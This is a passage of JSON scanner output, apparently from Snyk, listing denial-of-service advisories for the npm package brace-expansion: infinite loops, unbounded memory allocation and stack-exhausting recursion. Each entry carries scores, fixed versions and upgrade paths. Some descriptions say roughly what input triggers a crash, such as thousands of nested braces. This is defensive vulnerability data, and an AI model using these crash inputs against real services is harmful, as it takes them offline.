[Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
